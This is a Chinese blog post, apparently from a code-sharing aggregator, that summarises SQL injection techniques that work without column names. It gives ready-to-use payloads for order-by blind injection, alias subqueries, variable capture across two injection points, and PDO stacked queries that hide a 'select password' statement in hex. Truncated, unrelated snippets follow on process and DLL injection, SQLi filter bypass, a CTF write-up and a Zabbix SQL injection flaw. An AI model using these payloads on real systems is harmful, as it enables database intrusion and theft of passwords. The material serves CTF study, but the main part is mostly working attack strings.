无列名注入总结

这里对无列名注入的方法进行一下总结,主要出现的情况可能是无法获取列名,或者列名被过滤等等,但一般只能获取可注入语句里面对应表的信息。

0x01 盲注

如果注入存在于如下语句,那么就能够使用盲注这种方法

SELECT * FROM USERS WHERE USERNAME=‘$injectdot‘;

这里主要是利用了order by password来对password字段进行盲注,通过回显的用户名是admin还是xxx来进行判断。
那么payload就是:

injectdot=admin‘ union select 1,‘xxx‘,‘z‘ order by 3#

0x02 别名

这种方法只要存在一个注入就可以了:

SELECT B FROM A WHERE B=‘$injectdot‘;
具体是利用别名的方法,来将数据获取出来。那么payload如下:
injectdot=‘ union (select c from (select 1,2,3 as c union select * from user ) as b) limit 1,1#
或者
injectdot=‘ union (select c from (select 1,2,3 c union select * from user )b) limit 1,1#

0x03 变量

这种方法需要在同一个页面存在两个注入:

注入点1:SELECT * FROM USERS WHERE USERNAME=‘$injectdot1‘;
注入点2:SELECT * FROM A WHERE B=‘$injectdot2‘;

那么payload为:

injectdot1=admin‘ into @a,@b,@c#
injectdot2=‘ union select @c#

0x04 PDO

这种方法需要利用PDO来对数据库进行操作,于是就能够执行多条语句从而进行注入,主要可以利用prepareexecute来执行数据库语句,从而绕过很多过滤进行注入。

只要有注入就行:

SELECT B FROM A WHERE C=‘$injectdot‘;

这样payload是:

injectdot=‘;set @a=unhex("73656c6563742070617373776f72642066726f6d207573657220776865726520757365726e616d653d2761646d696e273b");prepare p from @a;execute p;#
时间: 2024-08-07 06:18:11

无列名注入总结的相关文章

sql注入(利用join进行无列名注入)

select 1,2,3 union select * from sc; select `1` from (select 1,2,3 union select * from sc)a; select `2` from (select 1,2,3 union select * from sc)a; select * from sc; select 1,2,3 union select * from sc; select `1` from (select 1,2,3 union select * f

源码解析一种无模块注入进程方法

对windows安全比较熟悉的同学对模块注入应该都比较了解,很多病毒.木马.外挂都会用到,无模块注入应用得则比较少. 无模块注入的好处是DLL注入进去后,确实已经不以模块的形式存在了,用任何进程模块查看工具,都找不到注入进去的DLL.因为它已经变为一块纯堆内存,跟EXE主模块里申请的堆没有任何差别. 这里讲的一种无模块注入的方法,能够让DLL自身实现这样的功能,无需外部注入工具帮助处理.当然如果进程内自行加载这样的DLL后,也是以无模块DLL形式存在. 注入完成后,进程内找不到注入的模块存在,用

小议webpack下的AOP式无侵入注入

说起来, 面向切面编程(AOP)自从诞生之日起,一直都是计算机科学领域十分热门的话题,但是很奇怪的是,在前端圈子里,探讨AOP的文章似乎并不是多,而且多数拘泥在给出理论,然后实现个片段的定式)难免陷入了形而上学的尴尬境地,本文列举了两个生产环境的实际例子论述webpack和AOP预编译处理的结合,意在抛砖引玉.当然,笔者能力有限,如果有觉得不妥之处,还请大家积极的反馈出来, 共同进步哈. 重要的概念 AOP: 面向切面编程,通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术. Joi

SQLi —— 逗号,空格,字段名过滤突破

前言 出于上海大学生网络安全大赛的一道easysql,促使我积累这篇文章.因为放了大部分时间在Decade和Babyt5上,easysql一点没看,事后看了WP,发现看不懂怎么回事,于是了解了一番. 无列名注入 前提:easysql中过滤了or,这样information_schema就不能用了,需要通过innodb存储引擎利用获取表名,不知道列名,所以需要通过无列名注入获取字段数据. 其实就是边看文章边自己实践记录,自己写的更详细点,便于理解的更透彻. 直接select 1,2,3,4 这样不

GYCTF Web区部分WP

目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题.不过还好有buu,在几天后我终于抽出时间来复盘了. ..由于buu复现的数量有限,所以没办法都写完,只能挑几道会的写一写.那么接下来开始看题吧. Blacklist 涉及知识点: (1)堆叠注入 解析: 这一道题很明显参考了强网杯的随便注.只不过过滤的函数增加了. 先看一下有表名.payload:

反病毒攻防研究第011篇:DLL注入(下)——无DLL的注入

一.前言 一般来说,想要将自己编写的程序注入到其它进程中,是必须要使用DLL文件的,这种方法已经在上一篇文章中讨论过了.但是事实上,可以不依赖于DLL文件来实现注入的.只不过这种方法不具有通用性,没有DLL注入那样灵活,因为它需要把代码写入"注入程序"中,一旦想要注入的内容发生了变化,就需要重写整个"注入程序".而不像DLL注入那样,只要修改DLL程序即可.即便如此,无DLL进行注入的方式,也是一种值得讨论的方法. 二.无DLL注入的基本原理 在注入与卸载方面,无论

ASM(四) 利用Method 组件动态注入方法逻辑

这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现.通过前面一篇,知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例.那么我们也基本可以知道,同ClassVisitor改变类成员一样,MethodVIsistor如果需要改变方法成员,注入逻辑,也可以通过继承MethodVisitor,来编写一个MethodXXXAdapter来实现对于方法逻辑的注入.通过下面的两个例子来介绍下无状态注入和有状态注入方法逻辑的实现.例子主要

Zabbix-20160817-高危SQL注入漏洞

漏洞概述: zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 但是无需登录注入这里有个前提,就是zabbix开启了guest权限.而在zabbix中,guest的默认密码为空.需要有这个条件的支持才可以进行无权限注入. 影响程度: 攻击成本:低 危害程度:高 是否登陆:不需要 影响范

进程注入的学习(下)

5. 无DLL注入 在第三中方法种,我们启动远程线程时,线程函数是我们从Kernel32.dll中取得的LoadLibrary函数的地址为线程函数的地址,其实我们可以直接将线程函数体和函数参数写入目标进程的地址空间,然后创建远程线程. 使用这个方法时,需要注意以下几个问题: (1) 远程线程函数体不得使用kernel32.dll,user32.dll以外的函数.因为这个两个模块在各个进程的相对地址是一样的,如果一定要使用其它函数,则必须将函数体写入目标进程空间. (2) 不能使用任何字符串常量,